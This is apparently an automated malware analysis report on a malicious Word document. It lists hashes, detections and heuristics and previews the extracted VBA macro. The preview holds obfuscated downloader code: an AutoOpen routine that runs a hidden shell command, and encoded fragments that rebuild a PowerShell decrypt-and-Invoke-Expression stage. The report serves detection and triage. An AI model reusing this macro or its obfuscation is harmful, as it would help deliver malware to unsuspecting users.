Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 24f839e2d46d3ba2…

MALICIOUS

Office (OLE)

152.0 KB Created: 2018-03-30 07:01:00 Authoring application: Microsoft Office Word First seen: 2018-05-08
MD5: 91ee219dcee1f63dce7bf2b6c7371e94 SHA-1: 6c42c5bfe2bc39024741570de58eebe23c394649 SHA-256: 24f839e2d46d3ba2efee5d22fddf8cad87c2167cd24639e27f36beea8ab16df8
192 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro that utilizes CreateObject. This indicates an attempt to execute code upon opening. The ClamAV detection 'Doc.Malware.Emodldr-10025032-0' and the presence of a VBA macro named 'macros.bas' strongly suggest this document is a downloader for a second-stage payload. The macro's obfuscated nature and the use of CreateObject point towards a common malware delivery technique.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    RhvZjT = CTTwv / ChrW(bpuCu * DsosfB) - BzrZpJ * NGoDa * 33500 / CSng(54652)
    CreateObject(npEUhouKHwRqZz).Run TRjpEFTJWF + Chr(VBA.vbKeyC) + jvczUnuDJot + TircpQXG + KLtdnVJU, vbHide
    rcdza = XLpwX * pUUVpr
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "jOKTYwONbhV"
    Sub AutoOpen()
    On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 34611 bytes
SHA-256: 1af950beaf8387ecb15a7550292d43c85ed16a975482dbdafe0950d2d23c57c5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
686 of 1170 identifiers look randomly generated (e.g. 'ZQBkADQANgAxADIAYwAyADkAZgAzADUANgBiADQA') — consistent with name-mangling obfuscation. Carved artifact contains 25 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "LCoYkSlponY"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "nomtIzfNhk"
Function lZYCFQjSs()
On Error Resume Next
dEtrR = vfrFR * wowop
mahiL = SZfhMK / ChrW(wzTHTp * BQnlwK) - zapZm * Cilfvs * 88714 / CSng(48709)
OhzLi = LuGSv("idjAGEAMgBmAGMAMwA4AGYANgBmADIAMwBmAGIAZQBjADIAYwA4ADgAZQA5ADEAZQA4ADIANwA1ADYAYwAyAGIANQA1AGUAZQA0ADcAMgBjAGYAYQA2AGMAOQBkADUAOABhAGMAMwBhADMAZQAzADYANwBjADAAOQAzADgAMAAyAGYAZ47k@Az", 3, 174)
lOTjWV = cjiwK * VnvlA
SzpHZN = RLoLbv / ChrW(JfYSP * AtzJuo) - CIwjKs * GtvGt * 36253 / CSng(81756)
ssVzu = pdzLD * SYVXPG
AUYTWN = lNmBRQ / ChrW(IzWYJ * vGCmIQ) - mCjZpR * fETYzm * 33115 / CSng(61624)
NXwVjnmN = LuGSv("U3413b16050a5345MgB8ADQAMAB4AFEARwBNAEYAMgA4AG0AdQBWAEgAdAA4AGwA2pGo.6V", 3, 62)
rvunhJ = zzGJo * RmLFfq
dNMzmc = jzZXf / ChrW(iLqNd * cdkai) - pkmjM * Gawwdj * 91591 / CSng(1348)
lOWMo = caqCNZ * ksRFiE
kHwhU = WWvDbr / ChrW(pCduh * hdKilT) - wFbsh * IVndRo * 86237 / CSng(88747)
SpmWs = LuGSv("7V.WuQjADgAZgBjAGEAYwA4ADAANwBkADYANwBlADkANgA2AGMAZABmAGMANQA5AGQAMABkAGEAYwAwAGMANwBmAGQAOAA5AGIjt", 7, 92)
GfmaV = uiPWX * XjZZL
vvQuC = fiBBY / ChrW(GpjLX * vKwXEX) - WKrlp * EGZzw * 9707 / CSng(22526)
lEAffZ = jRXjVs * XRduiF
IWkHYJ = lnTjZ / ChrW(VEZcjE * UpRFi) - ALZGLO * WciPXG * 31827 / CSng(5692)
zMPlUmcCwvN = LuGSv("uZ5QATEAdk", 4, 2)
dEzwOd = rBNii * SFfZb
LMhIV = GsVKEZ / ChrW(TWMMIl * XsiFzj) - RKdkz * Irmwwc * 21253 / CSng(16090)
JIDcvi = vGjqvT * hFjNJ
wRYCf = lwrLZ / ChrW(ssjDiV * zzSMPj) - AjLiXQ * pArjBz * 88944 / CSng(86836)
IUzfbpL = LuGSv("Vj@.qr4AOABmADAANABmADgAOQBlADIAMwAyADMAYgBhAGYANQA5ADkAMgBlAGEAYQAyADEAYwAzAGMAOQAwADYAMwA3AGQAYgATi", 8, 92)
DvJsDa = dWORMY * EIVwAB
JnJBDs = ThYBEI / ChrW(RFndZ * hLJwk) - Vmafw * rDuHAq * 99497 / CSng(66367)
dokRG = FzpTH * fPXQf
ElFYjr = VYLlh / ChrW(NXUMl * tbwjRT) - CawjNb * EfoEE * 15757 / CSng(86537)
JzZTjiCkF = LuGSv("iX7VFEAYwA0AGEAZAA1AGMAOQA3AGEANgAyAGQAZQBlAGQAMQA3ADIAMQA5AGMAZgAzADIAOQA3ADLIa", 6, 72)
lwtMH = uwLDl * lDHEnF
piXpz = cDhjQ / ChrW(djkqA * FLRHbn) - cnTBXj * wEDaO * 11947 / CSng(92070)
nrOsi = EHJpw * QZMGrv
wkLZDE = DspjYm / ChrW(YqdpK * chcOCm) - LEAVv * uaSbR * 21696 / CSng(76064)
EAWMMvkMcB = LuGSv("kNQBhAGQAMQA1ADYAZQAyADIANwA1AGYAOQAyADAANAA2ADQANAA2ADIANQBkAGUAYgBjADEAOQAzADMANQBlADIAMwA1ADcAZQA0AGUAOAAwAGIAOiPwv5", 2, 113)
OLRaRM = siiRjM * QHzXR
dwsUoX = wFOLiX / ChrW(OWKokZ * TWREOn) - KKiuuw * PTzlu * 39999 / CSng(60339)
OKhjUK = ipjBN * TqNXSL
aOKQt = OOisqF / ChrW(GUtWz * zhGQPk) - nFolwB * zIAAQp * 87704 / CSng(92241)
LwbVnkiTwn = LuGSv("bhiZIAYQA5ADEAMQAyAGMANABjADIAZABkAGEAYwBlAGIANgA5ADAAMABkAGQAOQBjADgANQAzADEANABkAGEANgAxADQAZgA1AGIANAAyAGUAYQBjADEAOABmAGEAYQA3AGQANwA4ADIAOQBiADgAZgBiAGMAOAAzADkAYgBhADUAMAA5ADgAMgBkAGQAMwAwADQABu%w", 5, 194)
wzqwqj = wrXpOq * zujJn
azvoT = wUtFK / ChrW(BnKTZn * EGrtZL) - GoCFj * FnUzBB * 55197 / CSng(31550)
PiuCjO = dhQmz * jrQXrc
LSjLoI = FLpwUA / ChrW(hzRNjU * VCiZz) - GZIYE * wawwjO * 45247 / CSng(71749)
ZCkHpYdCf = LuGSv("vwAxAGMAZgBhADIAYwAxAGEANgBkADgANAAyAGEAMgBkAGQANwAxAGQAY5qG,jS.", 2, 56)
RsSSz = wuwJII * pPzlq
XjCRt = DTkziz / ChrW(iTEKQ * wSHiJ) - wZrlh * zXSNW * 28082 / CSng(52421)
VRzwzM = icjQw * WcUKP
SUknN = wvRFF / ChrW(RpvcDW * iHizh) - PlpiL * LauXPk * 58753 / CSng(73717)
jMbQVSd = LuGSv("3BzAGQAOAA3ADIAMAAxAGMAMwA3ADQANQBmADIAOQAzAGYAZAA1ADYAZAA3ADYAYgAyADQAZQA3ADEAZgAxADIAOABjADAAZAA4ADcAZgA0AGEAYgA1ADgAMQBiAGQAMgA3ADgAMgBmAGEAYQAzADgANwAwAGEAOAA1ADAAOAA1AGQANQBlAGuo.Y", 3, 179)
ARncXE = HRtZzl * AoUDXz
HMGitC = RjsYk / ChrW(dpqXKM * iXomd) - oujujH * utEhwd * 3959 / CSng(54340)
UmMbF = bWVohm * CzwKLw
avQYK = jLbIJK / ChrW(ROfbv * vwqjD) - MpiomV * APwZVn * 33541 / CSng(24041)
MUhVjwcjVU = LuGSv("izu92GUAMAAzADkANwA3ADQANAA3ADkAOABjADcANQBmAGQAMgAzAGEANgBjADgAYgA2AGMAYQBmADEAYQA1ADgAZgBjADkAYgA3ADgAOQBhADUAOQBmADQAYgA3ADEAZgBhAGIAZgA3ADcAMQBlAGMAb6", 6, 147)
QvMiW = ioRUPs * bjPMp
DBWoni = vToJo / ChrW(GijvUZ * lLqXS) - mzoOK * wTJLt * 12553 / CSng(47615)
fPfSD = WsEDRz * uXJvuL
kZPHvz = jKzjP / ChrW(JZEbY * IZPvw) - bZwwap * hviGA * 45928 / CSng(44511)
LfIcTzjPzI = LuGSv("Nh6AA5ADIANAAwADIANAA3ADEAMgBlAGUANAA2ADMANgA1ADUANQBjAGUANABhADkAMABmADgAZQAzADYANAAwADEAYwAyADEANAA2AGEAMAA2ADkAMwA3AGIANwA0qn.XXI", 4, 123)
IqiFW = dYUSh * XCJUi
KUZaj = KPiaiT / ChrW(DASAj * qauzBd) - sRtilK * iNDfhG * 97340 / CSng(89677)
hbiwCf = Rjhcbt * IfjSYa
WrNTw = FErQL / ChrW(FCokcH * tHlCU) - woiwjC * CZKkQ * 55084 / CSng(12080)
ZiqqC = LuGSv("qWLDUAOQAxADQAOQA4ADEAYQAxADgANQBmAGUAYwAwADgAMgBlADQAMwAyADYAZAA3AGQANgAzAGIAZgA1ADkANwA3ADYAOABhADQAZQAxAGIAYwBkADUAYgBiAGUANAA2AD6kOk", 4, 129)
oMoQR = ojUvGK * jPlot
zdXILO = bfsEUA / ChrW(zEuwm * fKIOA) - rEVJZ * WlIkRE * 56418 / CSng(4319)
iSozL = iNRoXw * tbEwuN
qubRoF = OcVZi / ChrW(zOZqi * GmtMD) - EJmtNM * ZCUnq * 44608 / CSng(20641)
uTJqfY = LuGSv("jGMAMwA3ADUAYgA5ADIANgA0ADIAYwBiADIAYQAxAGQAOQBiADkAOABlAGEANQA2AGUAZABmADIAZAA4ADAAZgBkADEkVv6Pw", 2, 90)
YUlwP = hjiCOQ * GMwiYY
vWUOIS = NdaiT / ChrW(wiRHQ * DXcHrw) - PSqXFS * aKBzXn * 93561 / CSng(61019)
Xjhriw = vdCzjF * TUdHSA
izpjE = bSvSNq / ChrW(ZCVjN * zhamu) - DRrji * NwHth * 84440 / CSng(21331)
wDRBihZ = LuGSv("nlZQA3AGUAMgBhADEAMAAyADQAMAAxAGYAOQA2ADAAYQA5AGYAYwA0AGMAYwAyADgANwBjAGIAMQBlAGQANAAyADkAOAA1AGIANAAxADIANQAyAGEANwA4ADEAZQA0ADMAMgA5AGYAOQBmADQAZABhAGEAZABhAGMAMABhsd3mC5", 3, 164)
zRcijk = kDRzut * BmENu
AjjiM = ztNfV / ChrW(XjIhEr * JUTOa) - oHDuVp * zsdSi * 88808 / CSng(42879)
iFLuYE = qUlKq * NWaiU
Kjbbt = DPmjzQ / ChrW(XuOtz * baTETE) - VwKTzi * SRvGd * 35063 / CSng(11078)
dlqZIf = LuGSv("SAAyAGIAMgA3ADAAOQAwADQANAAwADIAZgBiADAAYwA2AGYAYgAxA%GhUI", 2, 52)
oaHVU = Tfzdcn * srfHWz
HFSkV = sGwHQ / ChrW(pHlszw * tCQKqW) - PaaQzG * lNjHW * 99535 / CSng(23477)
wEASq = jXOEQ * EvHlhc
wnOMaf = srPKi / ChrW(kFscw * LiKTq) - rjKYV * vVzla * 67926 / CSng(84188)
oKcHquzzQS = LuGSv("MaBAGIANQAyAGEAZgAzAGYAOAA5AGQANgBlAGYAOAA1ADkAZgA4ADEAYQA1ADUAYwA0AGYAOQAyAGQAYwAxADkAMABkAGMAOAAxADkAOQA5AGMAMgBlADMAZgBjAGEAZQAyAGUANgBhADgAZAA0ADcAZgA0AGIAZgBlADIANQA0AGUAOQA4ADQAYQBlADYAMwBmADYAOAAzwEF3R", 4, 199)
mlIsI = WuswD * nPRHnT
CjwvT = tOMZw / ChrW(IkYjZZ * Lmnzo) - UpijE * wHKoqn * 82249 / CSng(79326)
Zlsjvb = XZVdP * uGuodq
vcwnH = KEpjp / ChrW(NQREKY * KVZXd) - ahDRP * HTOvw * 79329 / CSng(9544)
sHSXE = LuGSv("aAYwA4ADUAMAA0AGM7C6F1s", 2, 16)
sQThpj = CLdCkP * fjWFS
hVHmZi = bzUUPF / ChrW(NtBriw * YWaPf) - jnhYrW * uWJhH * 14680 / CSng(96445)
ODJsjP = IIWPz * knnhGB
ArzXd = wFMRU / ChrW(ahWpUC * BAtCZ) - XKCfbM * dTlWGm * 28853 / CSng(62597)
SOrfmw = LuGSv(",2DQAMgBlADUANwBhADIAZAA3ADMAYgBhADEANgA2ADAANgBkADQAMgAyAGYAOABjAGMAYQA5ADkAZQA4ADYAMQBhADYAMQAzADQAYQA1ADEANAAxAGEAMwA5ADEAYwBkAGEAMwAyAGEANAAwAGEAOABiADcAYQBiADIANgBlADUAMAAwADcAZAAxAGUAZgBmAGQWDXlD", 3, 194)
NwrBi = LOzTf * zFGpXq
pwakF = DGvzji / ChrW(jkmwLX * wzohIj) - dOihjv * rUnLm * 39205 / CSng(60109)
ElILu = PQkaoC * BLXNF
dGZYIO = vzmccw / ChrW(WfcWtj * hzNoj) - OXuZMU * DSfNA * 94414 / CSng(33798)
ZzbfFSYkO = LuGSv("dz5b.p@2AGIAOQAwAGEAYQBYK", 8, 16)
RiIzr = hWjAU * jwJLj
ROXCN = IdcEz / ChrW(WwOBP * Frrah) - LYsvj * JTdcf * 5771 / CSng(55355)
vDasu = SAwcqS * asYIIU
IJMmst = TurirP / ChrW(jQCcd * YilfI) - ENBSvB * Cslro * 99762 / CSng(3404)
mlPFHdB = LuGSv("hzZAYQA3AGYAOAA4AGQAMwBjADcAMQA5ADAAYwBmADkAYwAyADYAYgBiADcAMABmADEAMgBkADEAZgA5Aa7ZGq.", 4, 78)
zFHzwC = tbVfi * QZXjd
oRSbv = iMfvYN / ChrW(cKYcii * nATZz) - XwmSN * LzNfh * 58870 / CSng(22050)
SksiqM = KvpzD * nwPhOD
kphVwX = aSSMFT / ChrW(OillV * mucwa) - AmmKiw * mEcCX * 66180 / CSng(37638)
cPdDIXY = LuGSv("KJiOv9BiADYANwBjADYAZQBiAGUAOAAwAGQAOABkAGEAMwBlADQANwA2ADkANQAyADcAYQBiAA==' |conVERtTo-sEcuresTRInG  -KeY 149,252,215,25wwS", 7, 116)
brcdr = lZTdwt * wqMjuz
InIjN = jHlcOD / ChrW(oKCzU * MPNShm) - cpNQT * izInjt * 30322 / CSng(24444)
DvknT = ETYOT * KKzMz
GspVa = nEzucS / ChrW(qYAtL * YPCiJ) - YJMLvM * fUQBSh * 41596 / CSng(91329)
AcdaYktHYfM = LuGSv("iQzDQAMABiADAANgBhAGMAOQBmADcAMgBhADcAYQBkADkANA7.LVNA", 4, 45)
PTKrG = diJRmn * lEOjV
fatCi = mzaXh / ChrW(pdYAi * Rsdjh) - dZoGj * nmLTQ * 48436 / CSng(40598)
pVSTC = hYRXsY * ZvTDb
viDoE = QAjFun / ChrW(jiGwNI * nzQNRi) - pBBiB * jsVljO * 52024 / CSng(71980)
AZQBo = LuGSv("Ws9iDgAZQBmADQAZAAwADkAOAA5ADIANAA5AGYAOQA1ADcAYQA0ADMANABiAGUANQA1ADEANwA5AGEAMwA2ADAANgBhAGYAZAA0ADkANQAzADEAZgA4ADMANwAyAGYANQAwADcANqil", 5, 132)
BTXjDo = TzFumk * SqXZka
iXtLIr = UPzhD / ChrW(wwpha * DiCcG) - vvDvJo * KhWwiX * 90865 / CSng(94494)
tAYdm = QFJfw * IwVBI
cWRPUM = nVjqj / ChrW(izmpAA * rYFktu) - VYWYv * WuXzd * 62805 / CSng(23096)
hLfzvzI = LuGSv("jkQBkADEANAA5AGYAZQA4AGQAMgBkAGUANQAzADAAZQBmADgAZAAxADEAOQA1AGQAZQBjADcAMwA1AGMANQAxAGEAYwAzADkAMgA2ADkAMABkAGQAYwA4ADgAMgBlAGYAZQBjADEAZQAxADIAMgBiAGQAZgA2ADgAOQA2AGUAMgBjADYANwAzADIANgAzAzVUj9", 3, 188)
zAjOZ = TVVHVB * wERhW
okOwI = LMjaoL / ChrW(oZrYV * TwEzC) - DtMZq * QHHXn * 71331 / CSng(2932)
DUYSi = Uwjij * EYhoSi
MbNjaW = KsHTW / ChrW(iCRws * HQntHS) - RFbdI * lBdoql * 95968 / CSng(92822)
sFYIITzjjJ = LuGSv("qiAYwBkAGMAZABhADAAOAAwAGIAMABmAGMAMgAzAGQAYgBmADAAYgAyADkANAAzAGQAYgA0ADkAMwA5AGMAZgA5ADgAOQAwADIAYgBkADkAMwA1ADkAYwA0ADAAMABjADQAZEVcAu@1", 3, 130)
zbqMHM = CGjwpW * YiFQJ
wiPza = VFNbMu / ChrW(aQMCvL * SCUtL) - PmEGk * orkRM * 83447 / CSng(73190)
zdaBv = jQbXl * vIHtnE
hArNiO = iGYwor / ChrW(irZpz * jAXDY) - GEENHd * jzXHQv * 76292 / CSng(13115)
pNzmRa = LuGSv("COcuzAGEAMwAxADAAMwA4AGUAMwBjAGQAYgBkAGQANABkADEAZQBmADIAOQA2ADYANFIkJ", 5, 62)
Zrdjtm = QhEnr * jcnowH
ZtRUzL = HjJtL / ChrW(Fajap * UnnfDp) - kRuUbw * WFjaIj * 64945 / CSng(44884)
IGLlI = bsoYzX * pSfQKA
HKhfE = pNsMs / ChrW(niIjB * tLjzH) - GRkpn * AiimGw * 46543 / CSng(61217)
uhqZKLJn = LuGSv("hcf2L43AGEAZABlAGQAYQBmAGQAMQAwADUANAAxADAAOABlAEk", 8, 41)
zrNAbf = kzhidF * oQJDM
mZzaC = OpBbK / ChrW(VdtUW * fqfhlI) - LvMtV * uMGvar * 75612 / CSng(96139)
WEtsJ = rhiQs * JCuUi
LZkjQ = QtKjL / ChrW(iTCCUz * ONpBXM) - UrnzNF * cbWcno * 41308 / CSng(54200)
VwXuHa = LuGSv("0m4IANwBiADgANQBmADUAOQA5AGQAZQAwADUAYwAyAGMAZABjADIAYQBlAGUAZQAxAGQAZAAyAGIAMgBiAGQANABlADEAYQAzADkAYQBiADUAMQA0AGEAZgA3ADEANABlAGQAOQBhAGUANQA1AGQAYQBhADIAwtL9i", 4, 154)
sIVlm = NGhuV * wWYNW
CZGLV = QCsfa / ChrW(Limwws * bIwdj) - SkNfF * OQSSDJ * 63762 / CSng(74847)
cSqGN = wozbF * WtpLXv
iuNrWW = ifPWIK / ChrW(PQwVm * LmAjQE) - DizdSD * tZPaUk * 38662 / CSng(58349)
MLjWsJzfpZY = LuGSv("z7ANABmAGYANABjADEANwA3AGUAYwBiADIAZgBmADEAMgA4ADIAOAA4ADciIoSL@", 3, 56)
ZdTuQ = dqqkJ * wthaR
qzfmDE = SpAXB / ChrW(ShVbD * KRwBJm) - uYzjhz * vdfkm * 49018 / CSng(29528)
GwuPB = jFVWB * cwpYO
IZBBhm = aUTTH / ChrW(mjwifM * smrwPT) - bTiOrK * tvFFQI * 23591 / CSng(53410)
qnQzjd = LuGSv("4@vQYANQA5ADkANQAwAGIAZQA5ADkAZgA1ADgAOQBmAGIANwBjAGYAOABiADcAOABiADIANQBmA5i8M", 5, 71)
QmNmPq = RKLUEV * ElOKcG
EcwBsn = YODiQD / ChrW(KBjLkp * EfqdX) - ATCwk * rMJRl * 43108 / CSng(5098)
VsGErw = oYioE * iZVPz
RMiipj = BVmJfl / ChrW(ISqvj * InFbD) - ECjRE * jRwZnJ * 31891 / CSng(40295)
FsBcobwh = LuGSv("Wo.B.ExAGYAZQA2AGUAZAA2AGYAN1ia", 7, 22)
whBPC = sCMiZ * zqiGGi
fnUDi = wUNii / ChrW(fOwLFE * BRLAU) - iFmaUT * ivpNcd * 36529 / CSng(83460)
VwzzLB = EJHTWw * subCia
awwBOT = hUOUw / ChrW(aqoHYz * nDocu) - ictfLF * jvAwww * 65361 / CSng(39634)
YwlBu = LuGSv("1i@ ([runTIme.inteROpSERVIces.MarShAL]::PtrtosTRIngaUTo( [RUNtiMe.iNterOPserVIces.MarSHaL]::sECUrEStringTObsTr( $('76492d1116743f0423Vj0LR", 4, 130)
ptzZB = CFUdk * HWJWG
kunoCO = LiqqK / ChrW(PwQNvd * aJanL) - VlcZqc * JzajAq * 71597 / CSng(43154)
iRWzS = qjztiY * VOzzr
UUhPVH = GvjwOI / ChrW(pXWKF * LFYBu) - pEHNpv * WTCwBB * 79308 / CSng(35434)
sLAXKot = LuGSv("iwhj5AGUAYwBhADMANQBiAGEAMgA4ADIAOAAyAGUAMQAwADEANwBhADkAMQAwADgAOAA1AGYAYgAyAGQAYQAyADMAYQA2ADcAYwBhADMAZgA0ADQANwAwADkAMgA1ADQAYwBlADkAYQA0AGMAMgAxAGEAYgBkAGU3", 5, 155)
uCAiWX = wrosY * PvjVY
vwhrD = mhmaU / ChrW(QATKV * PaRsJ) - BDZFE * PjdWW * 87441 / CSng(24989)
NUYpY = zbOBYJ * wpFdl
ZZQWs = ltTGU / ChrW(zjBnA * ifiwl) - wKlBJ * XcXHL * 56096 / CSng(93329)
ZPrsbSS = LuGSv("E1iEBlAGUAOABmADMANgA0ADcANAAxADkAMwA4AGIAMwA2AGMANwBlADAAOQAzADgAYQAyADMANAA2ADkAOAA2ADEAZgAwADgAZgAxADMAZQAzAGUAZgBkADYARpCoV", 5, 118)
fjnkdU = fbZUJo * uGicoz
iUjjt = swpYYr / ChrW(swszT * ZSiLj) - kqhQZ * ozazOD * 2752 / CSng(69111)
iZPUQ = wiodI * jmaAXI
IZiCAU = CuIhTQ / ChrW(RUwvs * GvhjK) - MTjcz * qZjzzX * 29565 / CSng(382)
lchkuiJqzq = LuGSv("6AgBjADkAOQA1ADAAMQBhAGQAMQAyADQAMgA4AGUAZQAxADAANwBiAGUAYgA4ADcAMQA1AGYANABmADEANABjADAAMgAwAGUAYwAyADUANAA1AGEAOAA3ADcAMgBmAGYAYQAzAGMANwA0ADMAOQBhAGIAMgBlADAAYQA2ADEAMgBlAGMAMgA5AGUAOABhADQANQAFqlF9S", 3, 194)
DDVHJs = PRdFfz * NsvrjH
VRLnd = YRVZfs / ChrW(DrLcA * jDPws) - rtSHD * jsjhlK * 38414 / CSng(62541)
fKkhF = fLumJL * UjUoj
pWMivZ = kbiot / ChrW(CVYnBz * wIiLi) - zzRMd * pGECSf * 79225 / CSng(15446)
lACKNiY = LuGSv("iPAmiANAA0AGYANgAwADkAYwAzAGMAMwBlADkANgAwAGUAZAAyAGQANQBhAGEAZgBkAGYANgA1AGUAYwBmADEANwA5AGUAOQA1ADIANwA3AGYAZgBlADYAZQAwADAAMQBhADYAMAA2ADMAZgAxAGEAMgB%N", 6, 148)
tDhFtR = EwsSr * zhsBza
TTOAp = lzSGH / ChrW(pRCEz * lDptV) - LHLJX * QjPiU * 50841 / CSng(78995)
tWJEID = VZHwTs * fZwLlv
kMAtsc = hIFFp / ChrW(idzCl * SsEAT) - NlnmkR * SAJKI * 22108 / CSng(31604)
wiQJlv = LuGSv("5rPE6N0,159,138,29,120,164,229,255,81,145,18,197,52,249,8,79,147,200,140,44,186,142,17,27,9,211,114,17,129) )))|invoke-eXPrEssiONOZ", 7, 123)
pnRBsi = zCZvZb * nfLhNi
WvXozX = YSrrV / ChrW(cFnwaB * nkMpri) - Mdwbzl * TstNtH * 63646 / CSng(48396)
BRcCi = IVFjm * bTqzI
LuTYrw = NIojZ / ChrW(hYCSd * TPGRw) - FwsWo * vGVWAn * 55907 / CSng(50272)
EERAzn = LuGSv("FujjjYgBmAGUAYgBkAGUAMgA1ADUAYwA3ADQAOQBhADEANAA2AGQAMgBiADIAYQA5ADkAMAAxADEAMAA0AGMAYwBjADEANABkADYANABkAGQAZQBmADgAZQA3ADYANwAzADMAZQBZz2", 6, 131)
vUMUpj = EnYBM * pYFdXU
zOrUuk = zKYOp / ChrW(iXutz * XqtFz) - hLQzRX * Iohhd * 85002 / CSng(49392)
TDTHFo = DioJz * VXRiq
YwNzc = wfMWHv / ChrW(nXZZFb * YRHiM) - PIYbK * TwopFE * 82357 / CSng(64114)
vpwrizu = LuGSv("drYAYwBmAGIAMgAxAGMAZQBjAGUAYgBlADIANgBjAGUAYwA3ADUAMgA1ADgAOAAxADkANgA0ADMAYQBkADkAMABmADYAMgiA@Z8", 4, 91)
IAhas = JzvzM * kmGri
XKoGkM = bnzhUV / ChrW(uwPQa * TiGJc) - zWiKhz * QTWUC * 31566 / CSng(40174)
woaCEI = Emqpz * diEKW
wThfBV = iZJBu / ChrW(roZVQ * ZOhkaS) - MAnSD * GXSjRI * 49318 / CSng(64554)
HhiJRrpNZVZ = LuGSv("NSOAMQA5AGIAMgA5AGMANwAyADkAMABjAGUAOQBiADUAMwA0XrA", 4, 45)
iwukvi = hEMnf * ROiGNB
VqGGY = jYHINr / ChrW(rklpqW * ETjGQ) - JFDwLv * YMnpo * 23937 / CSng(14718)
VLaFuD = NdDUQ * BrlzI
oaqEdn = OJdXmC / ChrW(ziaCP * LzTzH) - Ucpup * ZdiRi * 14063 / CSng(94794)
iAFMSWFXB = LuGSv(".ZQBkADQANgAxADIAYwAyADkAZgAzADUANgBiADQAMgBlAGYANQAyADIAMQA0AGIANwBhADcANwBmADkAMABmAGEANgA5ADUAOABmAGMAOAAxADMAMgA2ADEAOQAyADkAZQBhADYAZgA3ADcANgAxAGQ2jk.H68", 2, 151)
CpsjG = SCHXR * ioSrGr
XSPYOo = NZifz / ChrW(FwQVE * trnSUS) - GlkKnL * KZzmRi * 91502 / CSng(6162)
QPCtj = Epwns * aEMRal
piLTUq = hmAwo / ChrW(mHULb * aplIrG) - dIDFY * QcQbFw * 65700 / CSng(6734)
UDbKZSOU = LuGSv("vnhIANQAxAGEAZAA3AGUAMABiADAANwAzADEAYgA0ADEANgBhADAAZgA2AGEAZgBiAGQAMQBkADEAZgBlADcAYgBmADgANQA5AGIAOQA5ADIANQAwADgANAAiW", 4, 116)
oRowwr = SjBpvL * EVTMTM
dhcWYY = jPOsb / ChrW(BTTsHJ * pUDijF) - LFljOq * KjLcZS * 47576 / CSng(73676)
AZZwo = qibOvs * JScAq
IAHlpT = tHIjid / ChrW(VHsKwM * DjvDa) - uCrAZ * KPTsn * 67541 / CSng(55715)
MPiuDaXcru = LuGSv("iA2ADIANwA4ADUAMAA1ADkAZgBiADIAYwA1ADIAZAA4ADUAZQA2AGQAMAA5ADgAOABjAGMANQAyAGYAOABjADgAMgA1ADgAZABhADgAYwBmADkAMABmAGUAOQBmAGMAYgA2AGEAYwA2ADMANQBhAGYAMQA3ADgAYwAwADYAZQAyADUAOAAyAGIAYwA5uIhNwa", 2, 186)
jjVukS = rCZSD * CFULiP
zrQHH = TWBOE / ChrW(TSnTKB * IGDAR) - VdHJzj * TVusS * 26811 / CSng(75250)
DiAdUo = MHwbX * hIMoXB
IZGwcX = dajNsR / ChrW(PFBpR * bsOnLR) - CEiTbb * UdbBB * 94541 / CSng(2244)
CMnQNraYC = LuGSv(".ZQBkADQAMgA3AGQAZABiADcANAA3ADcAMwA3AGMANwBhADkAOQA2ADcANQA2ADcAYQBkADkAZgBjADYAMABkAGYAOQA1ADcAYQAzADkAOQBlADAAZQAxAGMANAAwAGQAZABiADEAMgBlADkAYwA3AGEANwBhAGIANgBkADIAYgBjADAAMQAxADkAMQA4A7iRXrN", 2, 189)
lXijGT = CLzFU * PLTnLv
ZrQmRK = mizoU / ChrW(sHqEbK * kBXUV) - HESIO * BPJtHw * 34321 / CSng(91236)
DDVbhI = BzoXc * Xjsbm
UrcCMo = EVSsR / ChrW(ALnJq * sDMYZF) - dwNME * VpKDb * 2528 / CSng(17457)
GMKFu = LuGSv("qF1hwADIANQBjAGIAMwA5ADEAZgAzADEANwBkADMAZAA0ADQAMAAxADgAMAAxAGMAZQAxAGYAYwBmADUANwA3ADYANABiADQAYwArDEIz", 5, 96)
jEjiFW = brkWCA * tHTCzw
DrJOa = kqIMIh / ChrW(LzdpUi * BGdpB) - bvDjZ * KcdMZ * 39924 / CSng(60123)
tYIrfF = nOTvOt * BnzMSD
ROUSiw = twwwkz / ChrW(IqOcQ * kjqovE) - wUdzZ * AbKnZ * 95147 / CSng(14221)
